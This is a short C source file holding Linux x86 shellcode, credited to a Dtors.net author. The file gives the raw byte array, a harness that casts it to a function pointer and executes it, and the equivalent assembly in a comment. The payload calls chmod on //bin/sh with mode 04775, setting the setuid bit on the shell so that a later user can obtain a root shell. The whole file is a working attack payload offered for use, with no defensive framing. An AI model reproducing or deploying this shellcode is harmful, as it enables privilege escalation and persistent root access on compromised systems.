/*
 * Linux x86 shellcode by bob from Dtors.net.
 * chmod("//bin/sh" ,04775); set sh +s
 */



#include <stdio.h>

char shellcode[]=
		"\x31\xc0\x31\xdb\x31\xc9\x53\x68\x6e"
		"\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
		"\xe3\x66\xb9\xfd\x09\xb0\x0f\xcd\x80"
		"\xb0\x01\xcd\x80";
int
main()
{
        void (*dsr) ();
        (long) dsr = &shellcode;
        printf("Size: %d bytes.\n", sizeof(shellcode)); 
        dsr();
}

/*
void main(){
__asm__("
        xor    %eax,%eax    
        xor    %ebx,%ebx    
        xor    %ecx,%ecx    
        pushl  %ebx          #push ebx
        pushl  $0x68732f6e   #push //bin/sh
        pushl  $0x69622f2f
        movl   %esp, %ebx
        movw   $0x9fd, %cx
        mov    $0xf, %al
        int    $0x80

        mov $0x1, %al
        int $0x80

");}
*/

